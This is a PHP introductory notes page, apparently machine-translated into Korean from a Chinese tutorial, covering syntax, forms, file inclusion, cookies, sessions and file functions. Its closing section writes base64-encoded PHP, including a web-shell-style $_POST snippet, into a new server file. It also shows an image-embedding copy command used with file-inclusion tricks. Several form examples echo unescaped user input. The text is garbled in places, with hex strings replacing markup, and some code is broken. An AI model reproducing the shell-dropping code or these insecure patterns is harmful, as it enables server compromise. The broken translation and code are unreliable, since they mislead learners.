이 글은 PHP 입문 노트를 담고 있습니다. 언어 프로그램으로서 PHP 언어의 특수성이 점차 드러나는 과정에서 PHP의 매력을 느끼실 수 있기를 바랍니다. 모두에게 도움이 되길 바랍니다.
PHP(Hypertext Preprocessor)는 원래 Personal Home Page의 약어였으며 공식적으로 "PHP: Hypertext Preprocessor"로 이름이 변경되었습니다. 1990년대 국내 인터넷이 발달하기 시작한 이후, 인터넷 정보는 우리 일상 활동에서 지식의 거의 모든 영역을 다루었으며, 점차 우리의 삶과 공부, 업무에 없어서는 안 될 부분이 되었습니다. 통계에 따르면 2003년 이후 우리나라 웹페이지 규모는 기본적으로 2배의 증가율을 유지하며 증가 추세에 있다. 오늘날 가장 널리 사용되는 웹사이트 프로그램 개발 언어인 PHP 언어는 저렴한 비용, 빠른 속도, 우수한 이식성 및 풍부한 내장 기능 라이브러리 등의 장점을 갖고 있어 웹사이트 개발에 점점 더 많은 회사에서 사용되고 있습니다. 그러나 인터넷의 지속적인 업그레이드로 인해 PHP 언어에는 많은 문제가 발생했습니다.
동적 웹 사이트의 요구 사항에 따라 PHP 언어는 언어 프로그램으로서 적용 과정에서 점차 특수성이 나타나며 기술 수준은 웹 사이트의 운영 효율성에 직접적인 영향을 미칩니다. 오픈소스 코드를 갖고 있으며, 프로그래밍 측면에서 C언어 등 범용 언어와 매우 유사하다는 점이 특징이다. 따라서 이해하기 쉽고, 조작시 강력한 조작성을 갖고 있다. 동시에 PHP 언어는 높은 수준의 데이터 전송, 처리 및 출력을 갖추고 있으며 Windows 시스템 및 다양한 유형의 웹 서버에서 널리 사용될 수 있습니다. 데이터 양이 많은 경우 PHP 언어는 링크 표면을 넓히고 다양한 데이터베이스에 연결하여 데이터 저장, 검색 및 유지 관리에 대한 부담을 완화할 수도 있습니다. 기술의 발전에 따라 PHP 언어 검색 엔진을 맞춤화하여 고객 선호도에 따라 데이터를 분류, 수집 및 저장하는 등 개인화된 서비스를 제공할 수 있어 데이터 운영 효율성이 크게 향상됩니다.
(1) 오픈소스와 자유로움
PHP 인터프리터의 소스코드가 공개되어 있기 때문에 보안성이 높은 웹사이트에서는 PHP 인터프리터를 자체적으로 변경할 수 있습니다. 또한 PHP 런타임 환경 사용도 무료입니다.
(2) Speed
PHP는 문법적 특징은 C 언어와 유사하지만 C 언어의 복잡한 주소 연산이 없으며 객체지향도 통합한 언어입니다. 개념과 간결한 문법 규칙이 결합되어 조작 및 편집이 매우 간단하고 실용성이 뛰어납니다.
(3) 광범위한 데이터베이스 연결
PHP는 MySQL, ODBC, Oracle 등과 같은 많은 주류 데이터베이스와 연결을 설정할 수 있습니다. PHP는 다양한 컴파일 기능을 사용하여 이러한 데이터베이스와 연결을 설정하는 데 일반적으로 사용되는 기본 라이브러리입니다. 서비스.
(4) 프로세스 지향과 객체 지향을 함께 사용하세요
PHP 언어를 사용함에 있어서 각각 프로세스 지향과 객체 지향을 사용할 수 있고, PHP 프로세스 지향과 객체 지향을 혼합하여 사용할 수도 있습니다. 다른 많은 프로그래밍 언어보다 적은 기능을 수행합니다.
(1) 인기 있고 사용하기 쉽습니다.
PHP는 현재 가장 인기 있는 프로그래밍 언어이므로 의심의 여지가 없습니다. 이는 전 세계 2억 개 이상의 웹사이트를 구동하며, 전 세계 공개 웹사이트의 81.7% 이상이 서버 측에서 PHP를 사용합니다. PHP에서 일반적으로 사용되는 데이터 구조는 모두 내장되어 있어 사용이 편리하고 간단하며 전혀 복잡하지 않으며 표현 능력도 상당히 유연합니다.
(2) 개발직은 많습니다
서버사이드 웹사이트 프로그래밍에서는 PHP가 취업을 더 쉽게 도와줄 것입니다. 인터넷 관련 많은 기업들이 PHP 개발 프레임워크를 사용하고 있기 때문에 PHP 개발 프로그래머에 대한 시장 수요는 여전히 상대적으로 크다고 할 수 있습니다.
(3) 개발 중
PHP는 성능과 현재 널리 사용되는 프레임워크를 고려하면서 클로저 및 네임스페이스와 같은 기술과 지속적으로 호환됩니다. 버전 7 이후에는 더 높은 성능의 애플리케이션을 제공하고 있습니다.
(4) 강력한 이식성
PHP 언어 패치 취약점 업그레이드 과정에서 PHP 언어의 핵심 부분은 구현이 쉽고 이식이 빠릅니다.
(5) 강력한 확장성
PHP 언어는 데이터베이스 적용 중에 데이터베이스에서 다양한 유형의 데이터를 검색할 수 있으며 높은 실행 효율성을 제공합니다.
(1) PHP의 해석 및 연산 메커니즘
PHP에서는 모든 변수가 페이지 수준이며 전역 변수이든 클래스의 정적 멤버이든 페이지가 실행된 후에는 지워집니다.
(2) 디자인 결함 및 주의 부족 PHP는 스택 추적이 없고 다양한 취약한 입력이 없기 때문에 불투명한 언어라고 합니다. 명확한 디자인 철학이 없습니다. 초기 PHP는 Perl의 영향을 받았고, 매개변수가 없는 표준 라이브러리는 C 언어에서 도입되었으며, 객체지향적인 부분은 C++와 Java에서 배웠습니다.
(3) 재귀에 대한 지원이 부족함
PHP는 재귀를 잘 수행하지 못합니다. 허용할 수 있는 재귀 함수 수에 대한 제한은 다른 언어보다 훨씬 적습니다.
echo "n";
echo PHP_EOL; //Line break<?php $a=1; function test() { //声明一个函数,名字为 test global $a; //在函数内声明并引用外部变量,注意这里是小写 global echo $a; echo "<br>"; } test(); //使用函数 echo $a; ?>
<?php $a=10; $b=20; $c=30; function test() { $a=100; $GLOBALS['a']=$GLOBALS['b']+$GLOBALS['c']; //引用全局变量,这里的 GLOBALS 必须大写 echo $a."<br>"; } Test(); //函数名不区分大小写 echo "<br>"; echo $a; ?>
<?php function test() { static $a = 0; //静态作用域,保留变量值 echo $a . ""; $a++; } test();//不使用static的话,每次输出都是 0 echo "<br>"; test(); echo "<br>"; test(); ?>
자동 증가 및 자체 감소 출력
<?php $a = 10; $b = 20; function test() { $a = 30; $b = 40; $c = $a + $b; echo "函数内运算值:".$c; echo "<br>"; } test(); $c = $a + $b; echo "函数外运算值:".$c; ?>
<?php $a = "1111"; $b = 123; $c = null; echo var_dump($a) . "<br>"; echo var_dump($b) . "<br>"; echo var_dump($c) . "<br>"; $d = array('a', 1, abc); //数组 echo var_dump($d) . "<br>"; $e = true; echo var_dump($e); ?>
<?php $text1="ni hao"; $text2="hahaha"; echo $text1." ".$text2."<br>"; //引用多个变量用 点 . (英文)连接 为空格 $a = strlen($text1);//计算字符串长度数 echo $a; ?>//空格也算作一个字符
판단 전환
<?php $text1 = "ni hao"; echo "$text1" . "<br>";// “ ” 双引号输出会显示变量值 echo '$text1';// ‘’ 单引号会显示变量名本身 ?>
array
<?php $x = 10; echo ++$x;//先自增后输出 echo "<br>"; $a=15; echo --$a . "<br>";//先自减后输出 $y = 20; echo $y++ . "<br>";//先输出后自增 $b=30; echo $b--;//先自增后输出 ?>
<?php $x = 10; $y = 20; if ($x > $y) {//判断 x 和 y 的大小,如果满足 $x > $y 就输出 true echo "true"; }else if($x==$y) {//else if 如果上面的判断不满足,再次判断 $x==$y 是否相等 ,如果满足就输出 $x."等于"$y; echo $x."等于"$y; } else {//如果上面的判断都不满足就输出 false echo "false"; } ?>
<?php $x= (3>4)? "true":"false";//三元运算符 echo $x; ?>
strlen(); 문자열 길이를 반환합니다.
echo $arrayname["name"];
echo $arrayName[3] / /Boolean true는 배열을 반복하기 위해 1
을 인쇄하고 표시합니다.
<?php $cars = array("BMW", "BinLi", "大众"); $arrlength = count($cars); for ($x = 0; $x < $arrlength; $x++) { echo $cars[$x] . "<br>"; }//只输出值 ?>
<?php $cars = array("BMW", "BinLi", "大众"); $arrlength = count($cars); print_r($cars);//数据类型,下标值,值都打印出来 ?>
<?php $age = array("gao" => "30", "li" => "20", "zhang" => "10"); echo "gao is " . " " . $age['gao'] . " " . " years old."; ?>
<?php $age = array(); $age["sun"] = ["20"]; $age["liu"] = ["30"]; $age["zhang"] = ["40"]; print_r($age); ?>
多维数组
<?php $cars = array( array("111", 100, 50), array("222", 200, 100), array("333", 300, 150), ); echo $cars[1][0]; ?>
<?php $age = array(); $age["sun"] = ["20"]; $age["liu"] = ["30"]; $age["zhang"] = ["40"]; // print_r($age); foreach ($age as $key => $value) { echo "name is " . $key . " old " . $value . "<br>"; } ?>
排序:
<?php $cars = array("Blinli", "wzida", "muling"); $x = sort($cars); echo $x; print_r($cars); ?>
<?php $cars = array("Blinli", "wzida", "muling"); $x = rsort($cars); echo $x; print_r($cars); ?>
<?php $x = 10; $y = 29; function add() { // global $x, $y; // $z = $x + $y; // echo $z; $GLOBALS['z'] = $GLOBALS['x'] + $GLOBALS['y']; echo $GLOBALS['z']; } add(); ?>
PHP $_REQUEST 用于收集 HTML 表单提交的数据
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> </head> <body> <form method="POST" action="request.php"> name:<input type="text" name="name"> <br> <input type="submit" name="submit"> </body> </html>
<?php $name = $_REQUEST['name']; echo $name; ?>
循环:
<?php $a = 0; while ($a <= 10) { echo "number is :" . $a . "<br>"; $a++; } ?>
do while 循环:
<?php $i = 0; do { //先循环 $i++; echo "number is :" . $i . "<br>"; } while ($i < 5);//再判断 ?>
<?php function add($x, $y) { $z = $x + $y; return $z; // echo $z; } // add(5, 15); echo "1+16" . "=" . add(1, 16); ?>
函数:
<?php function add() { $x = 10; $y = 20; $z = $x + $y; echo $z; } add(); ?> <?php function add($x, $y) { $z = $x + $y; echo $z; } add(5, 15); ?>
<?php class Person { //定义一个类,名称为 Person 使用驼峰命名法,不能用数字开头,类似于变量的命名方式。 var $name; //定义一个变量,值为空 function say() { //定义一个函数 echo "my name is ".$this->name; } } $xm=new Person; //实例化对象,具体的使用方式 $xm->name="小明"; //对象属性的赋值 $xm->say(); //访问对象的方法 ?>
超级全局变量:
<?php $string = "123"; //变量 define("DEMO", true); //常量 print_r($GLOBALS); //超级全局变量 ?>
$_SERVER['PHP_SELF']; //显示头部信息
<!DOCTYPE html> <html> <head> <title></title> <meta charset="utf-8"> </head> <body> <!-- <form action="" method="GET"> username:<input type="text" name="name"> password:<input type="password" name="password"> <input type="submit" name="submit" value="GET"> </form> --> <form action="<?php echo $_SERVER['HTTP_SELF']; ?>" method="POST"> username:<input type="text" name="name"> password:<input type="password" name="password"> <input type="submit"> </form> <?php echo "提交的内容: <font style='color:red'>" . @$_POST["name"] . @$_POST["password"] . "</font>" ?> </body> </html> //在PHP中通过打印函数引入我们的HTML+CSS+JS
1、mysql PHP63cb185a123679dd52783a58a6ec5c47"; //指定字符集
或者:
header("Content-Type:text/html;charset=utf-8");
<?php // echo "<meta charset='utf-8'>"; //指定字符集 header("Content-Type:text/html;charset=utf-8"); echo '<form method="POST" action="#"> name:<input type="text" name="name"> psswd:<input type="password" name="pwd"> <input type="submit" name="submit"> </form>'; $name = @$_POST['name']; //$_POST 对应 form method="POST" $pwd = @$_POST['pwd']; //接收数据 if ($name != "" && $pwd != "") { //判断当前提交的数据是否为空,不为空的情况下执行下面的代码 echo "UserName is : " . $name . "<br>"; echo "PassWord is : " . $pwd; } ?>
(isset($name) && isset($pwd))
isset 检测变量是否设置,不为NULL
如果检测的对象是""(空),返回值是 1 false
var_dump 判断数据类型
使用 define(变量的KEY(最好大写),变量的value,true/false,)
define("UNMBER","this is a hacker");//不能用 $ 数字 开头
<?php define("UNMBER", "this is a hacker", true); //定义常量 echo UNMBER . "<br>";//true 忽略大小写,默认是false echo unmber; ?>
<?php //结合函数使用 define("UNMBER", "this is a hacker", true); //定义常量 echo UNMBER . "<br>"; echo unmber . "<br>"; function test() { echo UNMBER; } test(); ?>
<?php $string="1234"; echo strlen($string); //计算字符串长度 echo $string[0]; //以下标方式取值 ?>
反转:
<?php $string="1234"; echo strlen($string); //计算字符串长度 echo $string[0]; //以下标方式取值 $string1=strrve($string);//反转 echo $string1; // 4321 $string2=substr($string,1);//舍弃第一位的数据 -1 只保留最后一位 -2只保留最后2位 echo $string2; // 234 echo trim(" 123 456 789 ");//去除字符串前后的空格123 456 789 ?>
cmd-->php~\php -r "phpinfo();"
php~\php -f ".php文件,可以拖拽到CMD窗口"
$str1 = "123";
echo $str1 .= "456";
PHP 表单
HTML
style 选择器:
.error{}
p{}
#ID {}
echo htmlspecialchars("97406be772b96f315efa2717345f023c"); //实体化代码输出,忽略代码本身输出内容
echo stripcslashes("i\\m abc"); //删除转义符
trim 去除左右两端的空格
echo trim(" 123 ");
preg_match( /匹配的表达式/(要用正则表达式),被匹配的字符串),返回值是 int (0|1) bool
匹配上,返回 1 false 否则为 true 0
echo preg_match("/php/", "you know the php is bester language");
!preg_match 取反
Delimiter must not be alphanumeric or backslash in 分隔符不能是字母数字和 反斜线 。
span 组合行内元素 class
文件包含:引入某些文件,去使用该文件的内容。
方式有4种:
1、include "文件路径/文件名";
如果引入文件错误,会报警告Warning,后续代码依旧会执行。
2、include_once "文件";
用法同 include 基本一致,只需包含一次,后续可一直使用。
3、require "文件";
包含文件时,如果找不到,会报错ERROR,后续的代码均无法执行。
4、require_once "文件";
用法同require一致,只需包含一次,后续可一直使用。
支持目录跳转,可以使用相对路径 ../../..file 或者绝对路径
copy 1.png/b+1.txt/a 2.png
a 表示是ASCII格式
b 表示该文件是二进制文件
把文本文件加装到图片文件中。
文件包含,引入某些文件,去使用该文件中内容,在PHP中文件包含的函数有4个:
(1)include "文件" /include("文件")
包含文件时,如果找不到被包含的文件会警告,后续的代码依旧知道
(2)include_once "文件"
用法和include用法基本一致,包含文件只需要一次即可,后续可以一直使用
(3)require "文件"
包含文件时,如果找不到会报致命错误,其后续的代码均不执行
(4)require_once "文件"
用法和require用法一致,包含文件时只需要包含一次即可
被包含过来的文件中,如果按照PHP的标准语法来写代码,那么就会执行该代码;如果不是PHP语法写的文件,就会读取出来
copy 1.png/b+1.txt/a 2.png
a 表示该文件是ASCII文本格式
b 表示该文件是二进制文件
세션: 서버와 사용자 간에 데이터를 전송하는 방법 또는 방법은 채널이 데이터를 전송하기 전에 설정되어야 합니다. 세션은 클라이언트에서 쿠키를 통해 관리되고, 세션은 세션을 통해 서버에서 관리됩니다.
쿠키와 세션 비교:
1. 쿠키는 사용자의 브라우저에 저장되며 반환 패키지의 set-cookie를 통해 서버에 의해 설정됩니다. 쿠키는 사용자의 브라우저와 서버 간의 세션 상태를 나타냅니다. 쿠키 데이터는 나중에만 얻을 수 있습니다. 이 데이터는 일반적으로 시간에 민감하며 만료된 후에는 사용자가 다시 로그인해야 합니다. 쿠키 데이터를 사용하면 각 사용자 요청이 쿠키를 가져오고 서버는 쿠키의 적법성과 적시성을 확인합니다. 쿠키 전송은 브라우저의 동일 출처 정책을 따라야 합니다.
2 세션은 서버 측에 저장됩니다. 세션과 쿠키는 일대일 대응입니다. 서버는 또한 어떤 사용자가 사이트에 로그인했는지 기억해야 합니다. 일반적으로 세션은 /tmp 디렉터리에 저장됩니다. sess_XXXXX 형식의 파일 형식(예: sess_nti62h7rrrnb5udpvfbad13cg5s9kqrm) 현재 서버에서 브라우저에 할당한 쿠키는 nti62h7rrrnb5udpvfbad13cg5s9kqrm입니다. 사용자가 다시 로그인해야 합니다.
쿠키를 보는 방법:
1. 현재 로그인된 페이지의 URL에 javascript를 입력하세요. 경고(document.cookie)
2. 콘솔에 경고(document.cookie) 또는 document.cookie를 입력하세요.
3. 브라우저와 함께 제공되는 네트워크 관리 도구에서.
setcookie("key","123"); 은 HTML 코드 앞에 작성해야 합니다.
setcookie("이름","456",time()+5);
echo $_COOKIE["name"]."0c6dc11e160d3b678d68754cc175188a";
setcookie("이름","값",time ()-3600);//쿠키 삭제
print_r($_COOKIE);
$_SEESION["id"]=1;
$_SEESION["demo"]=true;
unset($_SEESION[" id"]);//seesion
session_destroy()에서 값 삭제;//모든 SEESION 값 지우기
session_start();//SESSION
웹 개발자 플러그인 열기
fopen( 파일 여는 방법,,,):
r 읽기 전용
r+ 읽기 및 쓰기
w 쓰기 모드로 열고 파일이 없으면 생성
a Append content
a+ 읽기 및 추가
$file=fopen("test.txt","a+");
fread($file,1024);
feof(); 파일에 도달했습니다
fclose( $NAME); 프로세스를 닫습니다
fopen(파일을 여는 방법,,,):
r 읽기 전용
r+ 읽기 및 쓰기
w 쓰기 모드로 열기 , 파일이 없으면 파일 생성
a 내용 추가
a+ 읽고 추가하고, 파일이 없으면 파일 생성
$file=fopen("test.txt","a+") ;
파일 읽기
fread($file,1024); //읽기 파일 가져오기
feof(); 파일 끝에 도달했는지 확인
fgets($file);
while (!feof($file)) { //끝에 도달했는지 확인
echo fgets($ file)."0c6dc11e160d3b678d68754cc175188a";//한 번에 한 줄만 읽습니다
}
while (!feof($file)) { //끝에 도달했는지 확인
echo fgetc($file)."< ;br>";//한 번에 한 줄만 읽습니다
}
unlink( ); 파일 삭제
fclose($NAME); 프로세스 닫기
echo file_get_contents("123.txt "); 파일 읽기fputs(fopen("1.php","w" ),"83b1f8aaf7310e4f403be8137130718d");
echo file_get_contents("1.php");
웹마스터 도구
$str="PD9waHAgcGhwaW5mbygpOz8+" ;
$shell=base64_decode($str);
fputs(fopen("ceshi.php", "w") ,$shell);
base64_encode를 사용하여 암호화하고 base64_decode를 사용하여 해독
fputs(fopen(" ceshi.php", "w"),base64_decode("PD9waHAgJGV2YWw9KCRfUE9TVFsnayddKTs/Pg=="));
파일 래핑 n
관심이 있으시면 "PHP 비디오 튜토리얼"을 클릭하여 PHP 지식에 대해 자세히 알아볼 수 있습니다.
위 내용은 역사상 가장 포괄적인 PHP 소개 노트 모음(요약 공유)의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!